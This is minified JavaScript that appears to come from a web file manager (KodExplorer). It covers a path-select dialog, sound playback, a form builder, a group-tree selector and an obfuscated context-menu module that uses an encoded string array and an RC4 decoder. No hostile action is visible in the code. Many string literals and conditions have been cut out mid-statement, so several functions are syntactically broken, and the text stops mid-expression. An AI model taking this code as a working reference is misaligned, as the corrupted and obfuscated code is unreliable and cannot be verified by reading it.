b=g.DOM.wrap.find(".path-select-input").data("result");if(!b)return void Tips.tips(LNG.error,!1);if(b){var c=b;if(a.single&&"all"!=a.type&&(c=b[0]),a.makeUrl&&"file"==a.type)return i("makeUrl",c),!1;a.callback(c)}else Tips.tips(LNG.error,!1)}},cancel:!0};a=$.extend(d,a),"function"==typeof b&&(a.callback=b),e=$.extend(e,a);var f=G.appHost+"explorer&type=iframe";f+="&forceWap=0&fileSelect="+a.type,f+="&fileSelectSingle="+Number(a.single),f+="&fileSelectAllow="+a.allowExt,a.firstPath&&(f+="&path="+a.firstPath),$(".aui-state-highlight").addClass("disable"),e.content='';var g=$.dialog(e),h='';"file"==a.type&&(h+=''+a.allowExt+""),$(h).insertBefore($(g.DOM.wrap).find(".aui-state-highlight"));var i=function(a,b){var c={type:a,data:b};messengerParent.send(jsonEncode(c))},j=function(b){var c=jsonDecode(b);if(!c||!c.type)return void console.error("parse error!"+b,c);var d=c.type,e=c.data;if("makeUrl"==d)a.callback(e),$.artDialog.list.pathSelectApi.close();else if("selectChange"==d){var f=$(".pathSelectApi"),g=f.find(".path-select-input"),h=f.find(".aui-state-highlight");if(!e)return h.addClass("disable"),g.data("result",!1),void g.val("");h.removeClass("disable");var i="";if(a.single)i=core.pathThis(e[0]);else{var j=e,k=0;"all"==a.type&&(j=e.folder.concat(e.file)),$.each(j,function(a,b){i+='"'+core.pathThis(b)+'", ',k++}),i="["+k+"] "+rtrim(i,", ")}g.data("result",e),g.val(i)}},k=$("#pathSelectFrame").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(k,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",c),messengerParent.addTarget(k,"ParentPage"),messengerParent.listen(j),window.MessagerParentInit=!0)},randomImage:function(a){var b=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(b,function(b){"function"==typeof a&&a(b)})}}});;define("app/common/core.playSound",[],function(a,b){var c={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},d=function(a){var b=G.staticPath+"others/sound/"+a;Hook.trigger("playSound",b)};return{playSoundFile:d,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){d(c[a])},50)}}});;define("app/common/core.formMake",[],function(a,b){var c,d,e,f={user:!1,group:!1,role:!1},g=function(){c=$("#"+d),c.find(".tab-group .tab-item").length>1?h():c.find(".tab-group").addClass("hidden"),c.find(".form-row.form-slider").exists()&&i(),c.find(".form-row.form-dateTime").exists()&&j(),c.find(".form-row.form-color").exists()&&k(),c.find(".form-row.form-fileSelect").exists()&&l(),c.find(".form-row select").exists()&&m(),c.find(".form-row.form-userSelect").exists()&&n(),c.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),c.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},h=function(){var a=c.find(".tab-content .tab-pane"),b=c.find(".tab-group .tab-item");a.each(function(){var d=$(this).attr("id"),e=c.find("."+d);e.length>0?e.appendTo($(this)):(a.filter("#"+d).remove(),b.find('[data-id="'+d+'"]').parent().remove())}),b.click(function(){b.removeClass("active"),$(this).addClass("active");var c=$(this).find("a").attr("data-id");a.removeClass("active"),a.filter("#"+c).addClass("active")})},i=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),a.async("lib/bootstrap-slider/bootstrap-slider.js",function(){c.find(".form-slider input").slider()})},j=function(){a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var a="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";c.find(".form-dateTime input").each(function(){var b=$(this).attr("data-format"),c=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],d=["H","h","i","s","A","a","b","g","G","O","P","c","U"],e=!1,f=!1;b||(b="Y/m/d");for(var g=0;g').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),b.level>=1){var f="";d.before(f)}$("#"+a+" #"+b.tId+"_a").attr("data-group-id",b.id)}},callback:{onClick:function(a,b,c){e(b,c)}}},e=function(b,c){var d=$("#"+c.tId+"_a");if(d.removeClass("curSelectedNode"),a.attr("multiple")){d.toggleClass("this");var e=a.val();$.isArray(e)||(e=[]),d.hasClass("this")?e.push(c.id):e=_.without(e,c.id),$.each(e,function(){var b=a.find("[value="+this+"]");b.detach(),a.append(b)}),a.val(e).trigger("change")}else $("#"+b+" [treenode_a].this").removeClass("this"),d.toggleClass("this"),a.val(c.id).trigger("change"),a.select2("close")},f=function(){var b=a.val(),c=$(".select2-container--open .group-list-tree").attr("id"),d=$.fn.zTree.getZTreeObj(c);$("#"+c+" [treenode_a]").removeClass("this"),"string"==typeof b&&(b=[b]),b&&d&&d.getNodesByFilter(function(a){inArray(b,a.id+"")&&$("#"+a.tId+"_a").addClass("this")})},g=function(a){var b=$(".select2-container--open .group-list-content");b.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==a?b.find(".group-list-tree").addClass("hidden"):b.find(".select2-results__options").addClass("hidden")},h=function(b){var e=function(a){a.unbind("change input").bind("change input",function(){g($(this).val().length>0?"search":"tree")})};if(e(a.attr("multiple")?a.parent().find(".select2-search__field"):$(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return f(),void g("tree");a.on("open",function(){f()}).on("select2:unselect",function(a){f()});var h=UUID(),i='
          ';$(i).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var j=c(b);$.fn.zTree.init($("#"+h),d,j);var k=$.fn.zTree.getZTreeObj(h);k&&k.expandAll(!0),f(),g("tree")};h(b)},q=function(){var a={},b=[],d=function(a){for(var b={all:"0",user:"",group:"",role:""},c=a.split(";"),d=0;d0){Tips.tips(LNG.PluginConfigNotNull,"warning");var f=c.find(".panel-body"),g=c.find(".form-row.error");if(!g.parents(".tab-pane").hasClass("active")){var h=g.parents(".tab-pane").attr("id");c.find('.tab-group [data-id="'+h+'"]').click()}g.inScreen()||f.animate({scrollTop:g.offset().top-f.offset().top+f.scrollTop()},100),g.find("[name]").first().focus(),g.find(".setting-content").flash(3,100)}return{checked:0==b.length,error:b,result:a}},r=function(b){a.async(b,function(a){a&&($.isFunction(a)?a():"object"==typeof a&&a.hasOwnProperty("main")&&$.isFunction(a.main)&&a.main())})},s=function(a){if("string"==typeof a)return r(file),!1;if($.isPlainObject(a.formStyle)&&a.formStyle.loadFile){var b=a.formStyle.loadFile;"string"==typeof b&&(b=[b]),$.isArray(b)&&$(b).each(function(a,b){r(b)})}e=a,d=UUID();var c=template.compile(tplFormMake),f=c({LNG:LNG,items:a,wrapID:d});return f},t=function(a,b,c){var d=s(a);if(!d)return!1;var e={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:700,height:510,content:d,okVal:LNG.button_save,ok:function(){var a=q();return a.checked?c(a.result):!1}};if($.isPlainObject(b))for(var f in b)e[f]=b[f];var h=$.dialog(e),i=h.DOM.wrap.find(".aui-title").html();return h.DOM.wrap.find(".modal-title").html(i),g(),h};return{makeHtml:s,bindEvent:g,getFormData:q,initDialog:t}});;var _kod_0x4121=['MVPCjhFo','wrU3wqDDrQ==','MiI4WSc=','w5xewr3Ck8KeGw==','wqF+w4U=','d8ODwrzDgcOK','VyVFw40gLyxrIcO6wro=','w5nDpxttGg==','KsOBwofCq8Kdw74=','HkfDh8KaEMKH','wrVvdcOnwqZdwqfDkAhuw64=','wqd0w5s=','wo9FWQ==','w68kwr9pBGg=','wqk/wqTDrXsw','WAfChj4=','wrdyw4oLwpoP','OcOMwprCvcKW','GxJ9wpTCgMOew5TDilgwwoo=','wotTwovClUnCpMKTwr9kPsKcwp/CqMOewpPCoF8oIm3DjcOwHg57wrM=','w74xwrl+','w4HCncKiw4DDi2M=','YcOuKMK0w6LDkg==','AknClQYDw63CoGDCtlzDu8KswqHDl8OGQMOWBsOTf8OSw4lpOn0Uwr3DnMO7w6tZw4skwr5Xw7fDhMOUw7ESwpJUwqYrw75RbMKmM3l8wqgD','BkfDhsK5DMKSFcOa','HhR9woQ=','w5Jcwr/Co8KXDsOCwp0=','BkfDhsK8EsKSC8OM','w4HCosKNw5rDqQ==','YEYLw5g=','I8KBw5zCvBIKw74dwqbDgXU=','R0/CogUp','wrpnw7hMbw==','wqIRw7QKbw==','UBDCuCdd','VkEXQn4=','SkcnWVJ4wpo0w7DCiMO3w6rCoz0=','A8Kcw4LCpDU=','wqDDhXp4aQ==','w4ZAwrbCo8Ka','BsO2w6hYwrU=','w58UwpJQRw==','K8OQwqfCmsK2','JHfClTpL','di/CpsKLDw==','cCh9w4UC','IcOhwpjCswA=','w7dsfcOHKQ==','IQ9ywpHCqA==','DkHClRbDjWk=','L8ObP8K5wr4=','w5DDoUvCrDk=','AMOjw6Rawoo=','WMKCWMO5TQ==','w77DqUDCijXDrw==','fX7CkAIg','BRtQwqXDmQ==','YMKywr5Jwpg=','dsK3eMO6bw==','YTHCpDRe','BcOswr7CnT8=','S8KsScORdg==','wpVhbcOXwoA=','KsOfwq3Cqhk=','XRrCkyBHwoBkJsKewqLDtQ==','FTRXwqPCoQ==','PnPCtQRh','FjRYw4k+CC4vK8O3wqAs','KcOmw7BNwrs=','D8OFE0k9','FF7Dn2EFw4pkeg==','asOgAcKbw4s=','woFcw6BiQQ==','MsKIw5jCsA8=','wrFHw7tCWA==','wozDjn5aR1XCtHXDpsKowo4yJcKEE8K+w6c=','AMOowofCpi7Dly7Dl8KBw5/Cjg==','MVDCiQZmw53DsmjClj/DuA==','wrZ+w5tAcFjChMKfIsKmOw==','wobCqV3Clw==','Uzl2w44W','IsO6w6tWwoE=','VBbCnDlhwpMsOsKowqfDoGYY','w4bDtCHDhsKQL8O0LcKKw6vDlw==','T8OlwoTCvMOddw==','HlrCiQvDhnZ5wo/DhRod','woXDgnFDe1rDtmE=','VyZ8w5Ao','CD1pwpc=','w43CpcKSw7jDkg==','O8KGw5DCkgk=','XEczUERZwpo=','VcKkXcOk','woJPdsO1fA==','C8OGw6F4wp5uw6hJ','wqdpw4IAwpINUQ==','Xk/CggsZwo3CsmfCrRbDp8Kzw6LCjg==','wphJUMO7asK3w6xX','w5XDtAhbNMOKwoo=','LSDCgsOtw5c=','I8OFKm07','X0PCiQYOwrTCuHs=','wr9+w4UAwoEA','Sk/CiRcIwrI=','WwrDngcyw4EPw4Y=','fcO1JcK3w6DDmVI=','e8Oawp/DjcOVw7M4wpXDoTLCr3UVH8KFwqE=','wpbCrlzClH4TUgUkw6vDgQ==','UMKiXcO0WkdsG8Ohw57Dng==','YyPCncKNNw==','ShbCnilLwpMmJQ==','wqZ0w5lRdlTCn8Kg','MB92wq7CpA==','wqZjw4YkwpQ=','W0EuRUNNwosXw6DDiMOx','w7HCgcOgYH0a','EsOhNUEF','w51waMO9Ag==','wrpldcO0wrdN','NsO0wpjCrcK0','UAfClyFb','IkEKw5jCvA==','BsOHw6tcwoZn','C8OGw6E=','w7wqwqN4D2RmwoHCjxJL','a0oLw4nCkGsoKA==','wrR1w5F3eUHCg8Kh','w5PDowxTJcOKwrsRN3DDpw==','HcOFCsKMwpE=','wqUBw54YYA==','VUsuRG9Bwpo3','ecORwpXDusOcw6o/wos=','wqF+w4YIwoMNYMOwK8Kow6A=','wroxwrjDvHA8ZHrDlMKewo0=','wqNdwpQqaMOJBlpcwp5bbUM=','wqwaw6YqYFtzU1UOQXMawq7CtMKF','DUnDm8KLG8KLDMOyw4/DkiM=','CcOGwojCszM=','ABXCrcO3w78=','MsKLw5/CpwEXw4k8wqLDnHM=','P1rCiQdKw5HDo0jCsD3DrEN3','w6DDilPCtXnDjAXDl3ETw5lOFMKHDR4=','wrB3w4oUwoYmQsOxLw==','RMOgwoHCq8OLV8OVOsK7','ThhDw6Aa','w4vCm8KUw5/DvA==','ccKHw57CvRAKw4UFw6rDn2PCr8OUw5DCiWMRV8OrTBlPHQpNb1hIwqplBcOvP8OrOsOwwp10w5HCmVFKwpPCtgs=','bSrCuHE=','w7fDo0fCiyPDsknDg8K8','IcK7P8Kgw6bDkgAnAsODOsOAw47ClkpdeMO2wrRcwqfDsCjDsQtLIsOHw5DCnQDDl1MRLMKWwrBu','w4TCl8Kgw4nDl3cCFXU=','w7IXwokvQMOTXR4=','KQTDuxkL','bkDClAIm','NsOaw73CpA==','wqsfw7olZw==','G1zCiRs=','VcKkQcOzSw==','w54Ew7/DucOd','w7MgwqNrHnQ=','wovDiHJbSVzDvWU=','w4bCm8Kuw4HDhWoNAw==','fsOOwprCqsKW','w6/CgcOjaH8X','woHDtirDnMKA','GMO9OUASwoJzw4s=','wrd0w5NbZ0U=','C8O0IkkYwoQ=','w714w4QJwoENW8OoZ8K2w7YnMsODL8OOwqom','wozDhmtX','w5BXwrXClMKeF8OFwqPCtnZ9','w6waw7s7d0M=','X8O5MU4Twpw=','w5JbwrjChcKIHMOawovCqg==','w4zDuCDDnA==','w6rDgk3CsQ==','w4ArwqxhDw==','wpzCtVfCjWg=','USRUw4Uh','wpfDvTLDvcO7w7/DmsOJ','asOoIcK9w6bDkkQ3','W08sXURUwpwxw7Y=','asOmIMK8w6XDnUMv','w74mwq5pGW95wqnCkw==','AsOkworCtzjDnDHDv8Kdw4I=','Rm1cBEPCpDVqMcK7T0c3b25iw5ROwobDq8OQUMKrwrXDhAnCvi/DtMKJHmTCjDnCm8OfLcKdw4/CoAVDEMKcQcOMLn/DjA==','w5DDt2E=','T0fCiQ8PwqHCtGI=','w6XDk1DCsXXDhDTCmA==','ZyHCusO6w6o=','TClBw40=','ADIhbA==','GMO6PlgTwohiw6jCo3Jr','wpTCpVbCo3cKVTs=','YCTCu2DDhMK9w7nDi8OuNcK+MVHDsQQpw5rDulE2','XsOUwp7Du8OZ','c0NL','NsONw7fCp3M=','wpPCqFzChA==','w4LDvSLDosKs','CsOzwozCvzg=','w6nDhk7CoVLDlAXCmlAUw4tNGsKO','wrB0w4UTwpAQV8ORL8K1w6Y=','w7vDpUrCmxnDtUfDi8KGKcOqcsK5','CDVuwpfDsxDDj8KzwoTDhMK7w4LDuB1ywrA=','Bzw7eS/DlUguaMK5Uw==','w4Upw6PDhMOcIMOgw6caWMKiwoY=','OXDCjAtx','wppVwoLCiVjCkcKCwpx0fsKa','FRh9wpXCrMOSw4XDqm42wpA2','w7TCrMK2w43DqQ==','fsONwpDCoMKG','SE/ClgIPwqzCsg==','CE/Dm8Kb','wpfCqMK2w4vDrcKLHsKm','O8OEwpHCjcKfw6vDpik=','LsOSwpzCqcKUw6/Dpw==','YH46cGs=','wopfwoDCmF7CncKZwqM=','woHCs1vCh3wOVA==','wo5QYcOSwo4=','DBnDmQESw5cGw441I8K8IFU=','b8Kqwrd/wo3CpA==','D8OaNsKswrHDn8KFNBcvwpw=','MSrCuMOxw7kR','ICDCu8Oqw6oMwoYVwp9pwos=','woZJUsOrSMKnw6c=','dcOQwp/DjMOD','S0ssVEVBwpAo','KiHCscO7w7c7wpQ=','QVzDhxzDj29+wrHCnVYOS8OJVRvCmxHDhMKpEmh+J8OJw4TDosKQwonDhVLDu1tHQ8KNwqnDp8OgZjZxw7zCrQkkw5pAM8OgHMOmClYOwooiBMOhw59fwoXCnUw6ECHDi8OPw5LDqhcUH8OkwpnCj8ONwodOw4HDh8Knw5RawrnCmcKFV8OoEllOHkTDrMKPEQ==','eMKew4nDocKawrQ=','B2HDuMKsNg==','w4nCqBLCg3cKVTt8wqfDksKYKh3Cg8KuwrtXw6jDqA==','AyI4Xzo=','wrdTX8Obwqs=','wqptwq7Cn0k=','w7lwwpTCssKx','wopOwp7ClFPCjg==','dgfCgQRb','w6ICw4TDqcOF','IsOrwpHCl8Kn','ehJAw54l','ecOyP8K4','WwnCg2zDlw==','wpVfwoLCmknCgQ==','FlDCng==','cE4Jw4nCvA==','Ji7CtsO2','T0rChBAewo7CtmTCvQ==','ZMKvwrJowpvChMOpRjw=','IhzCkcOWw6c=','wpbCrVPCk2glRyUk','EBjCl8O8w7s=','R8O5OQwVwpx3w5bCtSE8Ul9CM33CuHVuw5EWwpXDg2dmWsKZABg=','wp9Zw7pmXw==','w4Ytw6DDlA==','JnrCgMKIJQnDi2vDoAbCjWLCp2bCskTCpXXDtH4LfsOnw482wo8yVsKnCsOew5cSTT9xA8KX','UsKuUMOlTExzM8O9','Y8OVw7vDqmPCo2xowoldwqgdw6ARwrPDmsK4KkZTw73CgRvCsTZWwqYpJQ==','wpnDqD/Dk8KbaQ==','P2TCpmTDgMKrwrPDmsKsPMK5eg==','WsOQDsKyw7M=','wpbCrl/CjXoFQjs=','S8Opwo7Cv8OMcQ==','dlLCghx2','w7wtwqRgDm53wqI=','M8OYw6HCvg==','w7fDplDCiyI=','Q8OtwpTCuQ==','I8Kqwr1rwp3Cvg==','wqDDj0HCtn7DjA==','WU0jVFVGwpQ/w7w=','M8ODwprCoA==','F8KjXMOkWg==','w7/DtEHCgyM=','OMObw7zCpU0=','ZMKiwr93worCq8OrQCo=','CcODw6lXwpBuw7hR','wpTColHChWgYTS04','fMK5QMOITA==','wpxvw5gvwoY=','w5ULwoRUOg==','J8Oyw7bCk1Q=','wphKwpzCmFPCjcKiwr4=','HD1Uw4Yn','wrZOwp/CtU4=','woHDvnE=','w5JIwqvChcKVC8OlwoE=','wqJ5a8O2','SEfCkQI=','w5rCo8Kxw4zDqcKRBsKOBEph','wphewojCvlHCiMKFwqI=','Ajo7aQ==','w4FoIw==','Y8Kiwqd6','w7kswqNo','woFUcMOawpM=','woHDk3pbWw==','wo7DjnFS','Lh5swoDDpg==','S8Olw44=','w4zDryrDn8KG','ccKPQsO2SA==','wp9RwrvCskk=','FHLCgBpZ','NsOawoHDnMOewqY7wpHDqjjCtThRWMKTwqHCv8O6w4bDq8KbUURYD3t9ZXQlw6gzI8O5woRPSErCjcOnwrnCisKQwqLDisKew598woZoaGLChQ==','wpZaw4ZMbQ==','YsKBwqZ+wrk=','JybCtMOyw6ATw587wptpw5N0w4HCvcOyw6nDuQ==','UMOceMK7wrjDhsKCCk9jwo0ZO8K3wopEwo/DnWctwpDCiMOzNx0TEA==','wprCvsK2w5/DpMKdP8KmD1E=','w6LDlk7Ct2/DiQ/CmQ==','TsOiwobCtw==','w4zCiXxZRkbDvG7Ds8KLw4YuNcOXE8K3wqLDvsKqw5HDsAjDlMOMwp/Dv2UoYBA=','wrldw6dCdw==','w4bCmMKsw5/DgQ==','Q8OlwoHCtMOXfsKZJsKrW8Og','ZyLCtHjDjsKiwqDCi8OiKA==','DsOLw6RXwp1ow4RXO8OO','w7LDqUXCgj/Dpg/Di8KsKw==','N8OJwpvCu8KA','F8OXwqrCtwA=','GMOyHWc6','wobDtznDosO/w6LDlg==','w4bDqg5eNg==','FRBjwpPCvw==','w7XDkUPCu3/DhQ==','HmvCtDph','CFLClwoKwqfCsns=','XDlQw4Q9AA==','w59RwqjClA==','bMKqwoFDwoo=','NlbChh5sw4LCq0jCkik=','BcODwpnCp8KQw6HDmDvCrg==','CcOwNl4TwoN+','D1DCgQ3Dhn1l','DMO3wozCvGbDmDPDtMKAw57CjA==','bDvCsHrDtsKsw6PCgsOsJw==','w6g3wqx8','EMO1woo=','w5jCuMKrw4o=','DsOLw6RXwp1o','S8OlwpPCrA==','J8OQF8K/wo4=','w5VRwrXChA==','wprDgnJZXlfDmnrDpsK1w5A=','wp9TwoLCmQ==','wonDg3t1RFPDqmU=','w7rCh8Ksw4DDtA==','wpDCg0fChUo=','woNNT8OdZcKiw7BW','LsOeGUgs','XkPCiAwbwqXClGXCuUvDpw==','QcOlwo7CvA=='];(function(_0x2d229d,_0x1a0f4f){var _0x4791e3=function(_0x35c851){while(--_0x35c851){_0x2d229d['push'](_0x2d229d['shift']());}};_0x4791e3(++_0x1a0f4f);}(_kod_0x4121,0x182));var _kod_0x46d5=function(_0x31d508,_0x192c83){_0x31d508=_0x31d508-0x0;var _0x54e27e=_kod_0x4121[_0x31d508];if(_kod_0x46d5['alPeJt']===undefined){(function(){var _0x59794a;try{var _0x4f56db=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x59794a=_0x4f56db();}catch(_0x5b1c5c){_0x59794a=window;}var _0x42da3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59794a['atob']||(_0x59794a['atob']=function(_0x205346){var _0x53818a=String(_0x205346)['replace'](/=+$/,'');for(var _0x969ae0=0x0,_0x16cc7b,_0x2d32fd,_0x1b942c=0x0,_0x3ab706='';_0x2d32fd=_0x53818a['charAt'](_0x1b942c++);~_0x2d32fd&&(_0x16cc7b=_0x969ae0%0x4?_0x16cc7b*0x40+_0x2d32fd:_0x2d32fd,_0x969ae0++%0x4)?_0x3ab706+=String['fromCharCode'](0xff&_0x16cc7b>>(-0x2*_0x969ae0&0x6)):0x0){_0x2d32fd=_0x42da3a['indexOf'](_0x2d32fd);}return _0x3ab706;});}());var _0x5a9ecd=function(_0xe26b0,_0x372972){var _0x48f6e8=[],_0x312ba5=0x0,_0x322e96,_0x585eed='',_0x55aa73='';_0xe26b0=atob(_0xe26b0);for(var _0x4f675f=0x0,_0x403772=_0xe26b0['length'];_0x4f675f<_0x403772;_0x4f675f++){_0x55aa73+='%'+('00'+_0xe26b0['charCodeAt'](_0x4f675f)['toString'](0x10))['slice'](-0x2);}_0xe26b0=decodeURIComponent(_0x55aa73);for(var _0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x48f6e8[_0x33fa38]=_0x33fa38;}for(_0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38]+_0x372972['charCodeAt'](_0x33fa38%_0x372972['length']))%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;}_0x33fa38=0x0;_0x312ba5=0x0;for(var _0x13fc9d=0x0;_0x13fc9d<_0xe26b0['length'];_0x13fc9d++){_0x33fa38=(_0x33fa38+0x1)%0x100;_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38])%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;_0x585eed+=String['fromCharCode'](_0xe26b0['charCodeAt'](_0x13fc9d)^_0x48f6e8[(_0x48f6e8[_0x33fa38]+_0x48f6e8[_0x312ba5])%0x100]);}return _0x585eed;};_kod_0x46d5['GDsDvt']=_0x5a9ecd;_kod_0x46d5['laRHkJ']={};_kod_0x46d5['alPeJt']=!![];}var _0x433411=_kod_0x46d5['laRHkJ'][_0x31d508];if(_0x433411===undefined){if(_kod_0x46d5['gxHisE']===undefined){_kod_0x46d5['gxHisE']=!![];}_0x54e27e=_kod_0x46d5['GDsDvt'](_0x54e27e,_0x192c83);_kod_0x46d5['laRHkJ'][_0x31d508]=_0x54e27e;}else{_0x54e27e=_0x433411;}return _0x54e27e;};define('app/common/rightMenuExtence',[],function(_0x2e0a04,_0xc14c8e){var _0x326a5b={};_0x326a5b[_kod_0x46d5('0x0',']y0&')]=function(_0x4c2152,_0x223f23){return _0x4c2152===_0x223f23;};_0x326a5b['amRqp']='GcIXW';_0x326a5b[_kod_0x46d5('0x1','(26G')]=function(_0xac0739,_0x41d982){return _0xac0739(_0x41d982);};_0x326a5b['hQQTv']='contextMenu';_0x326a5b[_kod_0x46d5('0x2','w@%x')]=function(_0x503bfc,_0x505263){return _0x503bfc&&_0x505263;};_0x326a5b[_kod_0x46d5('0x3','CpJI')]='.disable';_0x326a5b[_kod_0x46d5('0x4','#bfE')]=function(_0x126e60,_0xc1032e){return _0x126e60+_0xc1032e;};_0x326a5b['XPzAM']=_kod_0x46d5('0x5','#bfE');_0x326a5b[_kod_0x46d5('0x6','oApp')]=':not(.menu-not-auto-hidden)';_0x326a5b[_kod_0x46d5('0x7',')b(p')]=_kod_0x46d5('0x8',')Zq2');_0x326a5b[_kod_0x46d5('0x9','$zeB')]=_kod_0x46d5('0xa','GheG');_0x326a5b['mrKSb']=_kod_0x46d5('0xb','tepW');_0x326a5b[_kod_0x46d5('0xc','Ghlq')]=function(_0x4ad72b,_0x3a8578){return _0x4ad72b==_0x3a8578;};_0x326a5b[_kod_0x46d5('0xd','E[tg')]=function(_0x463470,_0x4bc18b){return _0x463470+_0x4bc18b;};_0x326a5b[_kod_0x46d5('0xe','h*gi')]=function(_0x18d522,_0x4c8e70){return _0x18d522+_0x4c8e70;};_0x326a5b[_kod_0x46d5('0xf','gz7W')]=function(_0x4a16b4,_0x149b87){return _0x4a16b4+_0x149b87;};_0x326a5b[_kod_0x46d5('0x10','amMN')]=''),h(f[_kod_0x46d5('0x7b','a0nd')]))+''+_0x483f12,'');}var _0x5d7688=$(_0x1ed64f)[_kod_0x46d5('0x7c','w@%x')](),_0x53bb5a=_0x31f62f||d,_0x48f6a4=_0xbdb30f['$menu'][_kod_0x46d5('0x7d','J]Hl')](_0x53bb5a)[_kod_0x46d5('0x7e','6D#W')]();_0x326a5b[_kod_0x46d5('0x7f','8JG7')](0x0,_0x48f6a4[_kod_0x46d5('0x80','ZNFv')])&&_0xbdb30f[_kod_0x46d5('0x81',')b(p')][_0x53bb5a]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x82',')T(f')][_0x53bb5a][_kod_0x46d5('0x83','tepW')]),0x0==_0x48f6a4[_kod_0x46d5('0x84','zjue')]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x85',')Cl!')][_kod_0x46d5('0x86','Svi#')]()['last']()),_0x31f62f?_0x48f6a4['after'](_0x5d7688):d&&_0x48f6a4[_kod_0x46d5('0x87','(26G')](_0x5d7688);var _0x31ae2a=_0x5d7688[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))[_kod_0x46d5('0x8a',')b(p')](_kod_0x46d5('0x8b',')Zq2'));_0x5d7688[_kod_0x46d5('0x39','#I7Z')]({'contextMenu':_0x31ae2a,'contextMenuKey':_0x6929fc,'contextMenuRoot':e});var _0x4c794c={};_0x4c794c[_kod_0x46d5('0x8c','w@%x')]=null;_0x4c794c[_kod_0x46d5('0x8d','Svi#')]=null;_0x4c794c[_kod_0x46d5('0x8e',')Zq2')]=f.accesskey;_0x4c794c['className']=f.className;_0x4c794c[_kod_0x46d5('0x8f',')Cl!')]=f.icon;_0x4c794c[_kod_0x46d5('0x90','A[bK')]=f.name;_0x4c794c[_kod_0x46d5('0x91','ZNFv')]=_0x483f12;_0x4c794c[_kod_0x46d5('0x5a','coI9')]=_0x5d7688;if(_0x31ae2a&&(_0x31ae2a[_kod_0x46d5('0x55','Svi#')]||(_0x31ae2a[_kod_0x46d5('0x92','Tg#C')]={}),_0x31ae2a[_kod_0x46d5('0x93','h*gi')][_0x6929fc]=_0x4c794c),_0x326a5b['YraqM']!=typeof f&&(_0xbdb30f[_kod_0x46d5('0x94','KCJX')]||(_0xbdb30f[_kod_0x46d5('0x95','KaAL')]={}),_0xbdb30f['commands'][_0x6929fc]=_0x4c794c,e['commands'][_0x6929fc]=_0x4c794c,e[_kod_0x46d5('0x96','#bfE')][_0x6929fc]=function(_0x337020,_0x3bccb4){f[_kod_0x46d5('0x97','KaAL')](_0x337020,_0x3bccb4);},f[_kod_0x46d5('0x98','ZNFv')]&&(e[_kod_0x46d5('0x99','gz7W')][f[_kod_0x46d5('0x8e',')Zq2')]]=_0x4c794c),f['items'])){var _0x485b5f=_0x6929fc+'-first-item',_0x1ed64f=_0x326a5b['Cngaj']+_0x6929fc+_kod_0x46d5('0x9a','L)pg')+_0x485b5f+'\x22>\x09\x09\x09\x09\x09';$(_0x1ed64f)['appendTo'](_0x5d7688),_0x4c794c['$menu']=_0x5d7688[_kod_0x46d5('0x3d','6D#W')](_0x326a5b['BfqaK'](_kod_0x46d5('0x9b',')Cl!'),_0x6929fc)),_0x4c794c[_kod_0x46d5('0x9c',']y0&')]=null,_0x4c794c[_kod_0x46d5('0x9d','A[bK')]=_0x4c794c[_kod_0x46d5('0x9e','(i@T')],_0x4c794c[_kod_0x46d5('0x9f','h*gi')]='sub',_0x5d7688[_kod_0x46d5('0xa0','L)pg')](_kod_0x46d5('0xa1','Svi#'),_0x4c794c)[_kod_0x46d5('0xa2','Tg#C')](_kod_0x46d5('0xa3','srTF')),_0x5d7688['find'](_0x326a5b[_kod_0x46d5('0xa4','&q8#')](_kod_0x46d5('0xa5','coI9'),_0x6929fc))[_kod_0x46d5('0x8a',')b(p')]({'contextMenuRoot':e,'contextMenu':_0x4c794c}),_0x5d7688['find']('li.'+_0x485b5f)['data']({'contextMenuRoot':e,'contextMenuKey':_0x485b5f,'contextMenu':_0x4c794c}),_0x4c794c[_kod_0x46d5('0xa6','a0nd')]||(_0x4c794c['items']={}),_0x4c794c[_kod_0x46d5('0x59','CpJI')][_0x485b5f]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x5d7688[_kod_0x46d5('0xa7','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xa8',')Cl!')],_0x485b5f))},i(_0x4c794c,f[_kod_0x46d5('0xa9','gz7W')],'.'+_0x485b5f);}}},$[_kod_0x46d5('0x8b',')Zq2')][_kod_0x46d5('0xaa','A[bK')]=function(_0x4f4d3b,_0x34c69d){$[_kod_